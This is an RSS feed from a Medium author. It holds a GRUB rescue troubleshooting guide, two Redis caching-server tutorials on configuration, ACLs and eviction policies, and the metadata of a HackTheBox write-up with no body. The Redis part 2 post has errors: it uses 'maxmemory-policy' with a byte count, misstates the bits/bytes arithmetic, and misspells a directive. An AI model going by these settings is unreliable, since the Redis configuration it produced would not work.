<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by +X on Medium]]></title>
        <description><![CDATA[Stories by +X on Medium]]></description>
        <link>https://medium.com/@plusx0x07?source=rss-1c37aae669eb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ufKqBTNPXR5_eMxKDUwg5w.jpeg</url>
            <title>Stories by +X on Medium</title>
            <link>https://medium.com/@plusx0x07?source=rss-1c37aae669eb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 23:31:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@plusx0x07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Beginner’s Guide to Grub Rescue in Linux]]></title>
            <link>https://towardsdev.com/a-beginners-guide-to-grub-rescue-in-linux-cb21e11a199d?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb21e11a199d</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-problem]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[unix]]></category>
            <category><![CDATA[grub]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Mon, 06 Mar 2023 16:42:31 GMT</pubDate>
            <atom:updated>2023-03-07T16:27:05.707Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*5IsqGsuM9vWRbrq-GbyjgA.jpeg" /><figcaption>GRUB rescue prompt</figcaption></figure><h3><strong>GRUB, what sort of vodoo magic is this ?</strong></h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FNmerZ36iBkmKk%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FNmerZ36iBkmKk%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FNmerZ36iBkmKk%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="292" frameborder="0" scrolling="no"><a href="https://medium.com/media/eb40b0be34eb5ffa898a078c565082d0/href">https://medium.com/media/eb40b0be34eb5ffa898a078c565082d0/href</a></iframe><p>GRUB (<strong>Grand Unified Bootloader</strong>) is a <a href="https://en.wikipedia.org/wiki/Bootloader">boot-loader</a> that is widely used in Linux systems to manage the boot process. It is a program that is loaded onto a computer’s hard drive that allows the operating system to be loaded into memory and executed. GRUB is essential to the boot process of a Linux system, as it is responsible for loading the kernel, initializing hardware, and starting the system.</p><p>If a user is having multiple OS in their system, then GRUB becomes especially important in such scenarios as it enables users to choose which operating system to boot when a computer is turned on. Because of this, GRUB makes it very easy for users to manage their system.</p><p>One can also perform various administrative tasks from GRUB console, such as <a href="https://itsfoss.com/how-to-hack-ubuntu-password/">resetting the password</a> of their Linux based distributions by firing up the terminal in remote mode by directly booting into the Linux terminal in RW mode instead of jumping into the GUI.</p><h3>Okay, but I don’t see a problem here …!!</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F9AqmPSAfmGBKhTUTcT%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F9AqmPSAfmGBKhTUTcT%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F9AqmPSAfmGBKhTUTcT%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/50a439b512fd393a957967a67c92fee2/href">https://medium.com/media/50a439b512fd393a957967a67c92fee2/href</a></iframe><p>When it comes to using Linux, there are a lot of benefits that come with it, such as open-source software, increased customization, and robust security features. However, sometimes things can go wrong, and one common issue that many Linux users encounter is the infamous <strong>“grub rescue” </strong>prompt.</p><p>The Grub Rescue prompt appears when the system cannot find the GRUB boot loader or when it is damaged or corrupted. GRUB is a boot-loader that manages the boot process of our Linux system, allowing us to select which operating system to boot when our computer starts up.</p><p>There can be many reasons why our GRUB boot loader may fail, such as a corrupted system file, an incorrect boot sequence, or a hardware issue. Whatever the cause, the Grub Rescue prompt can be frustrating, especially if we don’t know how to fix it.</p><p>Luckily, there are several ways to fix the Grub Rescue prompt and get our Linux system back up and running. Here are some of the methods we, as a linux user, can try:</p><ol><li><strong><em>Reinstall the GRUB boot loader</em></strong></li></ol><blockquote>The first and most straight-forward solution is to reinstall the GRUB boot loader. To do this, we need to boot our Linux system from a live USB or CD and use the terminal to reinstall the boot loader.</blockquote><ul><li>Boot your computer using a live USB or CD.</li><li>Open the terminal and type the following command:</li></ul><pre>sudo grub-install /dev/sdX<br>(Replace sdX with the name of our hard drive partition)</pre><ul><li>Type the following command to update the GRUB configuration:</li></ul><pre>sudo update-grub</pre><p>This should reinstall the GRUB boot loader and fix the Grub Rescue prompt.</p><p>2. <strong><em>Fix the MBR(Master Boot Record)</em></strong></p><blockquote>Another common cause of the Grub Rescue prompt is a damaged Master Boot Record (MBR). The MBR is a boot sector that contains information about the partitions on out hard drive and how to boot the system. If the MBR is damaged, our system won’t be able to boot. Read more about MBR <a href="https://www.techtarget.com/whatis/definition/Master-Boot-Record-MBR#:~:text=Rahul%20Awati-,What%20is%20the%20Master%20Boot%20Record%20(MBR)%3F,random%20access%20memory%20(RAM).">here</a>.</blockquote><p>To fix the MBR, we can use the <a href="https://help.ubuntu.com/community/Boot-Repair">boot repair tool</a> provided by Ubuntu. Here are the steps:</p><ul><li>Boot the computer using a live USB or CD.</li><li>Open the terminal and type the following command to install the boot repair tool:</li></ul><pre>sudo add-apt-repository ppa:yannubuntu/boot-repair<br>sudo apt-get update<br>sudo apt-get install -y boot-repair</pre><ul><li>Launch the boot repair tool and select the “<strong>Recommended repair</strong>” option.</li><li>Follow the instructions provided by the tool to fix the MBR.</li></ul><p>3. <strong><em>Manually edit the GRUB configuration file</em></strong></p><blockquote>If the first two methods don’t work, one can try manually editing the GRUB configuration file to fix the Grub Rescue prompt. Here are the steps:</blockquote><ul><li>Boot the computer using a live USB or CD.</li><li>Open the terminal and type the following command to mount your Linux partition:</li></ul><pre>sudo mount /dev/sdaX /mnt<br>Replace /dev/sdaX with the name of your Linux partition.</pre><ul><li>Type the following command to chroot into our Linux partition:</li></ul><pre>sudo chroot /mnt</pre><ul><li>Type the following command to open the GRUB configuration file:</li></ul><pre>sudo nano /etc/default/grub</pre><ul><li>Find the line that says “<strong>GRUB_CMDLINE_LINUX_DEFAULT</strong>” and add the following options:</li></ul><pre>...<br>GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet nomodeset&quot;<br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yD-m7Nmc_a1GTRlnWnuYCg.png" /><figcaption>Append “nomodeset” after “quiet” ( “quiet nomodeset”)</figcaption></figure><blockquote>Options in GRUB_CMDLINE_LINUX_DEFAULT are <strong>effective ONLY during normal boot</strong> (NOT during recovery mode). This line imports any entries to the end of the ‘linux’ line (GRUB legacy’s “kernel” line). The entries are appended to the end of the normal mode only.</blockquote><p><strong>nomodeset</strong> — It tells the kernel to not start video drivers until the system is up and running.</p><ul><li>Save the changes and exit the editor.</li><li>Type the following command to update the GRUB configuration:</li></ul><pre>sudo update-grub</pre><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FfVEhYeRqr8UAeetzJF%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FfVEhYeRqr8UAeetzJF%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FfVEhYeRqr8UAeetzJF%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/e494a9ad5d622481633269f716db8c06/href">https://medium.com/media/e494a9ad5d622481633269f716db8c06/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb21e11a199d" width="1" height="1" alt=""><hr><p><a href="https://towardsdev.com/a-beginners-guide-to-grub-rescue-in-linux-cb21e11a199d">A Beginner’s Guide to Grub Rescue in Linux</a> was originally published in <a href="https://towardsdev.com/">Towards Dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Redis as a caching server blog series — Part 2]]></title>
            <link>https://towardsdev.com/redis-as-a-caching-server-blog-series-part-2-caf6eadfd6de?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/caf6eadfd6de</guid>
            <category><![CDATA[caching]]></category>
            <category><![CDATA[redis]]></category>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[memory-management]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Sun, 17 Apr 2022 12:44:40 GMT</pubDate>
            <atom:updated>2022-04-18T07:23:53.766Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Wu_5YWr3Mkhn60KP.jpeg" /></figure><h3>Redis as a caching server blog series — Part 2</h3><h4><a href="https://plusx0x07.medium.com/redis-as-a-caching-server-blog-series-part-1-85adb9969d75">Link to part-1</a></h4><p><strong>Okay, so what do we know ?</strong></p><p>In my previous blog, we understood what caching is and what’s the reason it is used for. We also saw what is Redis, which is widely used technology to serve caching purpose. Along with that, we developed an understanding about docker and how can we leverage the same to set up a redis server using it’s official docker image.</p><p>In this part, I am primarily concerned with the various tweaks and config options available in the redis config file, which is located at <strong>/etc/redis/redis.conf</strong> . We will develop an understanding about authorization and authentication in the redis server, it’s persistent feature of writing cached data to disk and also one of the most important part in caching system — eviction policy and cache invalidation . So, without further ado, let’s get started.</p><p><strong><em>Persistent Storage:-</em></strong></p><p>We can save the cached to disk, in <strong>rdb</strong> compression format in redis. This is done to ensure that even if the caching server fails due to some reason and unfortunately the need arise for restarting it, we won’t be starting from scratch. We will having a back-up of our cached data which can be used by redis to serve the caching need.</p><p>Along with this, we will be using <strong>stop-write-on-bgsave-error yes</strong> feature so that we could know as soon as the background saving has stopped due to some error or some other issues.</p><pre><em>command</em><strong>:<br> <em>save &lt;seconds&gt; &lt;changes&gt;<br></em></strong>example: <br> save 900 1<br> save 300 10<br> save 60 10000</pre><p>The above syntax tells redis when to take the dumb (the required number of seconds and the required number of write operations against that DB occurred). Use <strong>rdbcompression yes</strong> and <strong>rdbchecksum yes</strong> so that the dump is compressed. The filename where to dump the DB dbfilename <strong>dump.rdb </strong>. The working directory where DB will be written is <strong>dir /var/lib/redis </strong>.</p><p><strong><em>Security:-</em></strong></p><pre>command:<br> <strong>requirepass &lt;PASSWORD_FOR_AUTHENTICATING_TO_REDIS&gt;<br></strong>example:<br> requirepass sumdumypasswd</pre><p>Use password based authentication and provide those parameter while instantiating a new connection to redis via <strong>new Redis()</strong>.</p><p><strong><em>Warning</em></strong>: since Redis is pretty fast an outside user can try up to 150k passwords per second against a good box. This means that you should use a very strong password otherwise it will be very easy to break.</p><p>However, apart from using the plain and simple way of password-based authorzation, we can also use something know as ACL (Access Control List) in redis to have a finer control over the operations performed by each and every used authorising to the caching server.</p><pre>Redis ACL users are defined in the following format:<br>user &lt;username&gt; ... acl rules ...</pre><pre>For example:<br><strong>user worker +@list +@connection ~jobs:* on &gt;ffa9203c493aa99</strong></pre><pre>The special username &quot;default&quot; is used for new connections. If this user has the &quot;nopass&quot; rule, then new connections will be immediately authenticated as the &quot;default&quot; user without the need of any password provided via the AUTH command. Otherwise if the &quot;default&quot; user is not flagged with &quot;nopass&quot; the connections will start in not authenticated state, and will require AUTH (or the HELLO command AUTH option) in order to be authenticated and start to work.</pre><pre>The ACL rules that describe what a user can do are the following:</pre><pre><strong>on</strong> <strong>=&gt;</strong> Enable the user: It is possible to authenticate as this user.</pre><pre><strong>off =&gt; </strong>Disable the user: It&#39;s no longer possible to authenticate with this user, however the already authenticated connections will still work.</pre><pre><strong>skip-sanitize-payload =&gt; </strong>RESTORE dump-payload sanitation is skipped.</pre><pre><strong>sanitize-payload =&gt; </strong>RESTORE dump-payload is sanitized (default).</pre><pre><strong>+&lt;command&gt; =&gt; </strong>Allow the execution of that command</pre><pre><strong>-&lt;command&gt; =&gt; </strong>Disallow the execution of that command</pre><pre><strong>+@&lt;category&gt; =&gt; </strong>Allow the execution of all the commands in such category with valid categories are like @admin, @set, @sortedset, ... and so forth, see the full list in the server.c file where the Redis command table is described and defined.</pre><pre>The special category <strong>@all</strong> means all the commands, but currently present in the server, and that will be loaded in the future via modules.</pre><pre><strong>+&lt;command&gt;|subcommand =&gt; </strong>Allow a specific subcommand of an otherwise disabled command. Note that this form is not allowed as negative like -DEBUG|SEGFAULT, but only additive starting with &quot;+&quot;. </pre><pre><strong>allcommands =&gt; </strong>Alias for +@all. Note that it implies the ability to execute all the future commands loaded via the modules system.</pre><pre><strong>nocommands =&gt; </strong>Alias for -@all.</pre><pre><strong>~&lt;pattern&gt; =&gt; </strong>Add a pattern of keys that can be mentioned as part of commands. For instance ~* allows all the keys. The pattern is a glob-style pattern like the one of KEYS. It is possible to specify multiple patterns.</pre><pre><strong>allkeys =&gt; </strong>Alias for ~*</pre><pre><strong>resetkeys =&gt; </strong>Flush the list of allowed keys patterns.</pre><pre><strong>&amp;&lt;pattern&gt; =&gt; </strong>Add a glob-style pattern of Pub/Sub channels that can be accessed by the user. It is possible to specify multiple channel patterns.</pre><pre><strong>allchannels =&gt; </strong>Alias for &amp;*</pre><pre><strong>resetchannels =&gt; </strong>Flush the list of allowed channel patterns.</pre><pre><strong><em>&gt;&lt;</em>password<em>&gt; =&gt; </em></strong><em>Add this password to the list of valid password for the user. </em>For example <em>&gt;mypass</em> will add &quot;mypass&quot; to the list. This directive clears the &quot;nopass&quot; flag (see later).</pre><pre><strong>&lt;&lt;password&gt; =&gt; </strong>Remove this password from the list of valid passwords.</pre><pre><strong>nopass =&gt; </strong>All the set passwords of the user are removed, and the user is flagged as requiring no password: it means that every password will work against this user. If this directive is used for the default user, every new connection will be immediately authenticated with the default user without any explicit AUTH command required. Note that the &quot;resetpass&quot; directive will clear this condition.</pre><pre><strong>resetpass =&gt; </strong>Flush the list of allowed passwords. Moreover removes the &quot;nopass&quot; status. After &quot;resetpass&quot; the user has no associated passwords and there is no way to authenticate without adding some password (or setting it as &quot;nopass&quot; later).</pre><pre><strong>reset =&gt; </strong>Performs the following actions: resetpass, resetkeys, off, -@all. The user returns to the same state it has immediately after its creation.</pre><p>ACL rules can be specified in any order: for instance you can start with passwords, then flags, or key patterns. However note that the additive and subtractive rules will CHANGE MEANING depending on the ordering.</p><p>For instance see the following example:</p><p><strong>user alice on +@all -DEBUG ~* &gt;somepassword</strong></p><p>This will allow “alice” to use all the commands with the exception of the DEBUG command, since +@all added all the commands to the set of the commands alice can use, and later DEBUG was removed. However if we invert the order of two ACL rules the result will be different:</p><p><strong>user alice on -DEBUG +@all ~* &gt;somepassword</strong></p><p>Now DEBUG was removed when alice had yet no commands in the set of allowed commands, later all the commands are added, so the user will be able to execute everything.</p><p><strong><em>Memory Management:-</em></strong></p><p>Let’s see how to set a memory usage limit to the specified amount of bytes. When the memory limit is reached Redis will try to remove keys according to the eviction policy selected (see <strong>maxmemory-policy</strong>). This is one of the most non-trivial things to take care of in a chaching system.</p><p>If Redis can’t remove keys according to the policy, or if the policy is set to <strong>noeviction</strong>, Redis will start to reply with errors to commands that would use more memory, like <strong>SET</strong>, <strong>LPUSH</strong>, and so on, and will continue to reply to read-only commands like <strong>GET</strong>.</p><p>This option is usually useful when using Redis as an <strong>LRU</strong>(Least Recently Used) or <strong>LFU</strong>(Least Frequently Used) cache, or to set a hard memory limit for an instance (using the <strong>noeviction</strong> policy).</p><pre>command:<br><strong> maxmemory &lt;bytes&gt;<br></strong>example:<br> For no-eviction policy, use &quot;<em>maxmemory-policy noeviction&quot;<br> </em>For setting the max memory to 2Gb, use &quot;<em>maxmemory-policy 2048000&quot;<br> </em>For setting the max memory to 2GB, use &quot;maxmemory-policy 2097152&quot;</pre><p><strong><em>Note: </em></strong><em>For memory in bits(Gigabits,Megabits etc.) the last factor is 1000, i.e., 1 gigabit (1 Gb) = 1 * 1024 * 1000 bits. But for memory in bytes(Gigabytes,Megabytes etc.) the last factor is 1024, i.e., 1 gigabyte (1GB) = 1 * 1024 * 1024. So just be careful what value you are setting-up for maxmemory.</em></p><pre><strong>MAXMEMORY POLICIES:-</strong></pre><pre>MAXMEMORY POLICY: How Redis will select what to remove when maxmemory is reached. You can select among five behaviors:</pre><pre><strong>volatile-lru</strong> -&gt; Evict using approximated LRU among the keys with an expire set.</pre><pre><strong>allkeys-lru</strong> -&gt; Evict any key using approximated LRU.</pre><pre><strong><em>volatile-lfu</em></strong> -&gt; Evict using approximated LFU among the keys with an expire set.</pre><pre><strong>allkeys-lfu</strong> -&gt; Evict any key using approximated LFU.</pre><pre><strong>volatile-random</strong> -&gt; Remove a random key among the ones with an expire set.</pre><pre><strong>allkeys-random</strong> -&gt; Remove a random key, any key.</pre><pre><strong>volatile-ttl</strong> -&gt; Remove the key with the nearest expire time (minor TTL)</pre><pre><strong>noeviction</strong> -&gt; Don&#39;t evict anything, just return an error on write operations.</pre><p><strong><em>Note:-</em></strong></p><blockquote><strong><em>[*]</em></strong><em> </em>Both LRU, LFU and volatile-ttl are implemented using approximated randomized algorithms<em>.</em></blockquote><blockquote><strong><em>[*] </em></strong>The default of 5 produces good enough results. 10 Approximates very closely true LRU but costs more CPU. 3 is faster but not very accurate.</blockquote><pre>command:<br> <strong>maxmemory-samples 5</strong></pre><p><strong><em>Lazy Freeing:-</em></strong></p><p>When deleting a key, redis provides the function of asynchronous delayed release of key memory. The key release operation is placed in a separate sub thread of bio (background I / O) to reduce the blocking of deleting a big key to the main thread of redis. This is known as Lazy-freeing.<br>Those two methods are:-</p><pre><strong>DEL<br></strong>It is a blocking deletion of the object, meaning the server will stop processing new commands in order to reclaim all the memory associated with an object in a synchronous way.</pre><pre>It is suitable for deletion of keys with small object or when it’s absolutely necessary to first delete the associated key and then process the incoming command, such as in case of eviction policy.</pre><pre><strong>UNLINK<br></strong>It is the async version of DEL primitive which is non-blocking in nature. It reclaims memory in the background. Those commands are executed in constant time. Another thread will incrementally free the object in the background as fast as possible.</pre><p><strong>DEL</strong>, <strong>UNLINK</strong> and <strong>ASYNC</strong> option of <strong>FLUSHALL</strong> and <strong>FLUSHDB</strong> are user-controlled. It’s up to the design of the application to understand when it is a good idea to use one or the other.</p><p><strong>Yes</strong> in the config means asynchronous operation. <strong>No</strong> in the config means synchronous operation.</p><pre><strong>lazyfree-lazy-eviction<br></strong>It is the synchronous freeing of memory for keys on eviction, because of the maxmemory and maxmemory policy configurations, in order to make room for new data, without going over the specified memory limit.</pre><pre>command:<br><strong> lazyfree-lazy-eviction no<br></strong></pre><pre><strong>lazyfree-lazy-expire<br></strong>It is the asynchronous freeing of memory for keys which have TTL(Time-To-Live) set to some value, so that those keys are deleted in the background when their time expires, without blocking any of the commands to the caching server.</pre><pre>commad:<br> <strong>lazyfreee-lazy-expire yes<br></strong></pre><pre><strong>lazyfree-lazy-server-del<br></strong>Here also we will be using asynchronous freeing of memory when changing the value of an existing key (deleting the previous value and replacing it with a new one), so that the memory is freed in the background and we don’t get any errors or have to wait for the operation to finish.</pre><pre>command:<br> <strong>lazyfree-lazy-server-del yes</strong></pre><p><strong><em>Active Defragmentation:-</em></strong></p><pre>Active (online) defragmentation allows a Redis server to compact the spaces left between small allocations and deallocations of data in memory, thus allowing to reclaim back memory.</pre><p>This is the definition of active-defrag according to the redis config file.</p><p><strong>So, what is fragmentation,and why do we need it ?</strong></p><p>According to lifewire,</p><p><em>Fragmentation</em> occurs on a <a href="https://www.lifewire.com/what-is-a-hard-disk-drive-2618152">hard drive</a>, a <a href="https://www.lifewire.com/what-is-random-access-memory-ram-2618159">memory module</a>, or other media when data isn’t written closely enough physically on the drive. Those fragmented, individual pieces of data are referred to generally as <em>fragments</em>.</p><p><em>Defragmentation</em>, then, is the process of <em>un</em>-fragmenting or piecing together, those fragmented <a href="https://www.lifewire.com/what-is-a-file-2625878">files</a> so they sit closer, physically, on the drive or other media, potentially speeding up the drive’s ability to access the file.</p><p><a href="https://www.lifewire.com/what-is-fragmentation-defragmentation-2625884">What Does Defragmentation Mean?</a></p><p>Fragmentation is a natural process that happens with every allocator (but less so with Jemalloc, fortunately) and certain workloads. Normally a server restart is needed in order to lower the fragmentation, or at least to flush away all the data and create it again. However thanks to this feature implemented by Oran agra for Redis 4.0 this process can happen at runtime in a “hot” way, while the server is running. So, there is an option of releasing the memory and using it effectively.</p><p>When mem_fragmentation_ratio is greater than 1.5 or 2 in the info memory command output of redis, active defragmentation is initialised. However this option is disabled by default and it is required to compile the redis from source so that the copy of jemalloc provided by them is used. After that, set activedefrag yes in the redis config to enable this feature.</p><p>Please note that there many other options and configs which one can use aprt from the ones described above. I described these because I used these configs according my requirements.</p><p>Okay, so we saw a long list of options provided to us by redis via it’s config file. It is a very exhausting list, I must say. So if you are still reading this, thanks to you and as a bonus I would like to add my documentation which I prepared which understanding redis <a href="https://plusx0x07.notion.site/Redis-desired-configurations-d210bbbc9dfa4ee48094a2b670e4736c"><strong><em>here</em></strong></a></p><p>In the next and final part, we will see how to set-up a redis server and use all our understanding to deploy the caching mechanism. We will also compare the response time before and after caching is deployed.</p><p>Till then, Keep building, Keep breaking.<br>And most important of all,<br><strong><em>!! Hack the planet !!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caf6eadfd6de" width="1" height="1" alt=""><hr><p><a href="https://towardsdev.com/redis-as-a-caching-server-blog-series-part-2-caf6eadfd6de">Redis as a caching server blog series — Part 2</a> was originally published in <a href="https://towardsdev.com/">Towards Dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Redis as a caching server blog series — Part 1]]></title>
            <link>https://towardsdev.com/redis-as-a-caching-server-blog-series-part-1-85adb9969d75?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/85adb9969d75</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[redis]]></category>
            <category><![CDATA[ubuntu-20-04]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Mon, 04 Apr 2022 10:25:43 GMT</pubDate>
            <atom:updated>2022-04-18T07:24:57.708Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-c86OdpUZQX5wSTKKrkoYA.jpeg" /></figure><h3>Redis as a caching server blog series — Part 1</h3><p>This is the first part of n-part blog series, which demonstrates the process of setting up of Redis as a caching mechanism on a Linux server (Ubuntu 20.04) and how to tweak around with its configuration file to get the desired performance and settings.</p><p><strong><em>MEET N’ GREET</em></strong></p><p><strong><em>But what the heck is this Redis or caching, and why should I even care about it ?</em></strong></p><p>Okay, so let’s start with the second question —</p><p><em>What is Caching ?</em></p><p>According to an <a href="https://aws.amazon.com/caching/">AWS article</a>,</p><pre>a cache is a <strong>high-speed</strong> data storage layer which stores a subset of data, typically transient in nature, so that future requests for that data are served up faster than is possible by accessing the data’s primary storage location. Caching allows you to efficiently reuse previously retrieved or computed data</pre><p><a href="https://aws.amazon.com/caching/">Caching Home</a></p><p>The data in a cache is generally <strong>stored in fast access hardware such as RAM (Random-access memory)</strong> and may also be used in correlation with a software component. A cache’s primary purpose is to <strong>increase data retrieval performance</strong> by reducing the need to access the underlying slower storage layer.</p><p>Trading off capacity for speed, a cache typically stores a subset of data transiently, in contrast to databases whose data is usually complete and durable.</p><p>Overall, the benefits of implementing caching in you application can be summed-up in following points:-</p><ul><li>Improve Application Performance</li><li>Reduce Database Cost</li><li>Reduce the Load on the Backend</li><li>Predictable Performance</li><li>Eliminate Database Hotspots</li><li>Increase Read Throughput (IOPS)</li></ul><p>So, yes, it does looks very promising. We will now look into the process of setting-up a caching server in our application/back-end. But first we have to be prepare for a very non-trivial question, the elephant in the room.</p><p>When do you want to remove your cache, or delete it from the caching, that is, when do you want to <strong>invalidate your cache </strong>?</p><p>Now, right at this very moment, you might think that why shall I even care about this question, even before setting it up. But trust me, this question is going to affect your whole code base for caching. You need to understand that the cache always store the stale data, as compared to the databases. They don’t get updated instantaneously and in most case it doesn’t get updated until and unless the user request for that data,thereby initiating the whole cycle of retrieving the data from database, storing it in cache and then presenting it to the user.<br>This question of cache-invalidation is going to answer the TTL (<strong>Time-To-Live</strong>) parameter in Redis, which basically defines that when you would like to delete this cache, or, invalidate it.</p><p>Now, returning to our first question, <em>What is this Redis —</em></p><p>According to Wikipedia,</p><pre>Redis is an <strong>in-memory</strong> data structure store, used as a distributed, in-memory key–value database, cache and message broker, with <strong>optional</strong> <strong>durability</strong>.</pre><p>The keyword here is “in-memory”. It basically means that Redis stores various kinds of data directly into the memory, that is RAM, thereby increasing it’s throughput and decreasing the latency to a few milliseconds.</p><p><a href="https://redis.io/">Redis - The Real-time Data Platform</a></p><p><strong><em>okay, okay. So I understood what is Redis and what is caching. But how can we set-it up and use this mind-boggling performance improvement .</em></strong></p><p>Well, setting it up is pretty simple, it’s the fine tuning of a Redis server via it’s config file which is something non-trivial, of utmost importance.</p><p>You hit an API end-point, you request is validated against some rules(authentication,authorisation,structure etc.), you query the cache server for that data…..Wait, let’s make a flow diagram out of it.</p><figure><img alt="Caching Flow-Diagram" src="https://cdn-images-1.medium.com/max/482/1*1UfKQKhSXgQzmm7nszCxTw.jpeg" /><figcaption>caching flow-diagram</figcaption></figure><p>So, yes, this is how you save the data in cache. But wait, that’s only the tip of the ice-berg. There is lot of stuff happening under the hood which we should take care of.</p><p>But first of all, let’s start with the installation of Redis in an Ubuntu based machine (Ubuntu 20.04 to be exact).</p><p>We will be setting-up Redis as a docker container. Assuming you already have docker installed and up&amp;running, let’s pull the docker image of Redis and spin-up a container.</p><pre>But just in case, if you need help setting up docker engine in Ubuntu, please visit this amazing documentation of digital ocean.</pre><p><a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-18-04">How To Install and Use Docker on Ubuntu 18.04 | DigitalOcean</a></p><pre>The same can be achieved from this article of docker community as well.</pre><p><a href="https://docs.docker.com/engine/install/ubuntu/"></a></p><p><strong><em>Spin’ it up !!</em></strong></p><p>Pull the Redis docker image and instantiate a container out of it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*OuzqOj_6ykqCijWX5o1GOA.png" /><figcaption>docker command to spin-up a Redis container</figcaption></figure><p>Save this as &lt;some-file.sh&gt;, provide executable permission to this file and execute it.</p><pre>bash &lt;some-file.sh&gt;</pre><p>This should start a Redis container, whose internal port, 6379, will be exposed to the port 6379 of the host machine and whose config will be defined in a file named redis.conf (we can leave this option as well, and Redis will start with default configuration).</p><p><strong>Official Redis docker image:</strong></p><p><a href="https://hub.docker.com/_/redis">redis - Official Image | Docker Hub</a></p><p>Okay folks, so we understood what is caching, what is Redis and how to set-up our environment to play around with it. <br>In the next part, we will start caching some data,and see the performance benefit for the same. We will also take a look at Redis config file and start our journey into the nitty-gritty details of a Redis server.</p><p>Till then, Keep building, Keep breaking.<br>And most important of all,<br><strong><em>!! Hack the planet !!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85adb9969d75" width="1" height="1" alt=""><hr><p><a href="https://towardsdev.com/redis-as-a-caching-server-blog-series-part-1-85adb9969d75">Redis as a caching server blog series — Part 1</a> was originally published in <a href="https://towardsdev.com/">Towards Dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[‘“Help” Hackthebox write-up’:-]]></title>
            <link>https://plusx0x07.medium.com/help-hackthebox-write-up-37c2acb01922?source=rss-1c37aae669eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/37c2acb01922</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[+X]]></dc:creator>
            <pubDate>Sun, 09 Jun 2019 03:31:45 GMT</pubDate>
            <atom:updated>2019-06-09T03:31:45.592Z</atom:updated>
